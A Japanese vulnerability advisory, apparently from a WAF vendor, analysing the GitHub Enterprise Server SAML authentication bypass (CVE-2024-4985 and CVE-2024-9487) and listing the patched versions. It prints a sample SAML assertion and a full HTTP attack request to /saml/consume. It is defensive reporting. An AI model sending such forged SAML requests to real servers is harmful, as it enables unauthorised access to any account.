TAチームが 「Github Enterprise Server Authentication Bypass 」を分析して書いた脆弱性レポート
この脆弱性は、Github Enterprise Server(GHES)に存在する認証バイパスの脆弱性で、SAML SSO認証や暗号化支援が有効になっているGHESのサービスに対して細工したSAMLリクエストを送信することで、署名検証の操作を回避し、GHESの任意のアカウントにアクセスする攻撃につながる可能性がある。
この脆弱性はGHES 3.11.16、3.12.10、3.13.5、3.14.2でパッチが適用されており、AIWAFは関連する脆弱性を継続的に監視している。
1. 概要
分散バージョン管理ツール「Git」のホスティング機能を提供するサービス「Github」は、同サービスの有料プラン「Github Enterprise Server(GHES)」に存在する認証バイパスの脆弱性「CVE-2024-4985」および「CVE-2024-9487」の解析結果を公開した。
出典: https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
2. 攻撃タイプ
Github Enterprise Server (GHES) は、認証処理に SAML SSO 認証と暗号化アサーション機能を使用しています。暗号化アサーション機能はデフォルトでは無効になっていますが、有効になっている GHES はこの脆弱性の影響を受けます。
暗号化アサーション機能が有効な GHES では、攻撃者が署名を操作して悪意のあるアサーションを挿入することを防ぐため、認証プロセスでアサーション・ブロックの外部に署名があるかどうか、およびブロック内の署名全体と親アサーションの ID が一致するかどうかが確認される。
ただし、検証プロセスではアサーション署名自体は検証されないため、攻撃者が IDP から有効な SAMLR レスポンスを取得し、その SAML に偽のアサーション・ノードを追加して暗号化されたアサーション署名の存在を偽装することで、検証プロセスを迂回し、GHES の任意のアカウントにアクセスできる可能性がある。
任意の GHES URL (https://your-ghes-instance.com) に書き込まれた SAML データ:
<Assertion ID="1234567890" IssueInstant="2024-05-21T06:40:00Z" Subject="CN=John Doe,OU=Users,O=Acme Corporation,C=US">
<Audience>https://your-ghes-instance.com</Audience>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:assertion:method:bearer">
<SubjectConfirmationData>
<NameID Type="urn:oasis:names:tc:SAML:2.0:nameid-type:persistent" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:basic">jdoe</NameID>
</SubjectConfirmationData>
</SubjectConfirmation>
<AuthnStatement AuthnInstant="2024-05-21T06:40:00Z" AuthnContextClassRef="urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef:unspecified">
<AuthnMethod>urn:oasis:names:tc:SAML:2.0:methodName:password</AuthnMethod>
</AuthnStatement>
<AttributeStatement>
<Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.10">Acme Corporation</Attribute>
<Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.4">jdoe@acme.com</Attribute>
</AttributeStatement>
</Assertion>
核テンプレートベースの攻撃リクエスト :
POST /saml/consume HTTP/1.1
Content-Length: 1227
Content-Type: application/x-www-form-urlencoded
Cookie: saml_csrf_token=sample_token; saml_csrf_token_legacy=sample_token
Host: www.test.com
User-Agent: HTTPie
RelayState=sample_token&SAMLResponse=%3CAssertion+ID%3D%221234567890%22+IssueInstant%3D%222024-05-21T06%3A40%3A00Z%22+Subject%3D%22CN%3DJohn+Doe%2COU%3DUsers%2CO%3DAcme+Corporation%2CC%3DUS%22%3E%3CAudience%3Ehttps%3A%2F%2Fyour-ghes-instance.com%3C%2FAudience%3E%3CSubjectConfirmation+Method%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aassertion%3Amethod%3Abearer%22%3E%3CSubjectConfirmationData%3E%3CNameID+Type%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Anameid-type%3Apersistent%22+Format%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Anameid-format%3Abasic%22%3Ejdoe%3C%2FNameID%3E%3C%2FSubjectConfirmationData%3E%3C%2FSubjectConfirmation%3E%3CAuthnStatement+AuthnInstant%3D%222024-05-21T06%3A40%3A00Z%22+AuthnContextClassRef%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aassertion%3AAuthnContextClassRef%3Aunspecified%22%3E%3CAuthnMethod%3Eurn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3AmethodName%3Apassword%3C%2FAuthnMethod%3E%3C%2FAuthnStatement%3E%3CAttributeStatement%3E%3CAttribute+Name%3D%22urn%3Aoid%3A1.3.6.1.4.1.11.2.17.19.3.4.0.10%22%3EAcme+Corporation%3C%2FAttribute%3E%3CAttribute+Name%3D%22urn%3Aoid%3A1.3.6.1.4.1.11.2.17.19.3.4.0.4%22%3Ejdoe%40acme.com%3C%2FAttribute%3E%3C%2FAttributeStatement%3E%3C%2FAssertion%3E
3. 対応
この脆弱性は、GHES バージョン 3.9.15、3.10.12、3.11.10、3.12.4 で CVE-2024-4985 により修正されましたが、修正パッチでの対応が不完全であることが判明し、GHES バージョン 3.11.16、3.12.10、3.13.5、3.14.2 で CVE-2024-9487 により再度修正されました。
この脆弱性は、細工された偽のアサーション・ノードを注入することで検証ステップを迂回し、AIWAFがパターンで応答する際に正当なリクエストを検出する可能性が高いため、パターン化可能な領域とはみなされない。
4. 結論
Github Enterprise Serverは、Githubプラットフォーム上のホスティングサービスであり、多くの顧客や組織で利用されているため、このサービスにおける認証バイパスの脆弱性は、影響力が高く、インパクトの大きい脆弱性であり、Github Enterprise Serverを利用している組織や顧客は、常に最新のバージョンにパッチを適用することを徹底する必要があります。
当社のAIWAF製品では、引き続きGithubおよびGithub Enterprise Serverの脆弱性を監視しており、関連する脆弱性が発見された場合には、引き続き対応してまいります。
5. 参考文献
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
- https://github.com/absholi7ly/Bypass-authentication-GitHub-Enterprise-Server
- https://hawk-eye.io/2024/05/cve-2024-4985-github-enterprise-server-authentication-bypass-vulnerability/
- https://hawk-eye.io/2024/10/cve-2024-9487-critical-vulnerability-affecting-github-enterprise-server/